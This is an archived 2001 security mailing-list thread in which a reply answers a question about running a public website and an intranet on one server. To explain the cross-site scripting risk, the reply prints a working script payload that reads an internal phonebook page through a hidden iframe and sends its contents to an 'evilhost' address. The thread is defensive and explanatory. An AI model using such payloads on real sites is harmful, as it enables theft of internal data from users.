RE: Options for securing a Public Webserver and Private Intranet on s ame server.

From: Information Security (InformationSecurity@federatedinv.com)
Date: 08/28/01 

Message-ID: <D5E5F4682E75D41185CD00D0B79DC56F04BB1A97@EXCHFED01.federatedinv.com>
From: Information Security <InformationSecurity@federatedinv.com>
To: "'Jonathon.Kalaugher@sbg-ap.com'" <Jonathon.Kalaugher@sbg-ap.com>, focus-ms@securityfocus.com
Subject: RE: Options for securing a Public Webserver and Private Intranet  on s ame server.
Date: Tue, 28 Aug 2001 14:12:44 -0400

If you have both a public and a private web site on the same server, client
side code executed by internal users browsing the public site can
simultaneously access private data. Wow, that was a big sentence, let me
illustrate how this presents a huge risk for cross-site scripting
vulnerabilities.

Let's suppose your public site has a CSS vulnerability that allows me to
embed hostile client-side code below on your _public_ site. When executed
by an internet client, nothing happens. However, When executed by an
intranet client, the internal "phonebook.asp" page is loaded and all its
properties are exposed, and can be read by the ld() function.

If the intranet and internet sites are on different hosts, the client side
document object model prevents reading properties (even the location) of
inline frames or other child windows.

<script language=vbscript>
sURL = "http://your.servers.public_ip"
document.write "<iframe align=right height=1 width=1 name=webbug
  onload=""javascript:ld();"" src="""
document.write sUrl + "/phonebook.asp"
document.write """></iframe>"
</script>

<script language=javascript>
function ld () {
  if (typeof webbug.location.href != "unknown") {
    //get the text of all the anchors in the inline frame
    var sOut = "";
    for (i=0; i<webbug.document.links.length; i++) {
      sOut = sOut + webbug.document.links[i].innerText + ";";
    }
    //and send them out across the internet
    webbug.location = "http://evilhost/default.asp?hrefs=" + sOut;
  }
  return true;
}
</script>

-----Original Message-----
From: Jonathon.Kalaugher@sbg-ap.com
[mailto:Jonathon.Kalaugher@sbg-ap.com]
Sent: Monday, August 27, 2001 4:45 PM
To: focus-ms@securityfocus.com
Subject: Options for securing a Public Webserver and Private Intranet on
s ame server.

Hello List,

Background:

Public Website and private Intranet running on same server behind a FW.

The Intranet is accessed via IIS/windows authentication with a "full public
access over port 80" rule on the Firewall to the server in question.

The users access the public website and enter authentication apon hitting
the corporate logon area/box to access the Intranet.

We considering the following steps...

1) Separate both onto separate servers and DMZ's
2) Still Allow full public access to both servers over ports 80/443.

Question.

1) What are the implications of having both the Website and Intranet
residing on the same server? Does the "allow all on ports 80/4443" to the
public website expose the Intranet (on the same server) to any extra
security risks?

2) Would moving the Intranet to a separate server (still accessible to
the public over port 80/443) and only allowing authenticated access to the
application stop (or somehow hinder) it being vulnerable from any IIS
exploits?.

i.e. Would the authentication prompt for Intranet access, block any
unauthorised access to the underlying IIS / Intranet?, as a user is prompted
for sign on before having access to the site.?

Or is it secure to have both the Website and Intranet running on the same
server if certain steps are taken first, as the goal is to maximise security
of the Intranet.

Thanking you all heaps in advance for any feedback at all.

JK.

Relevant Pages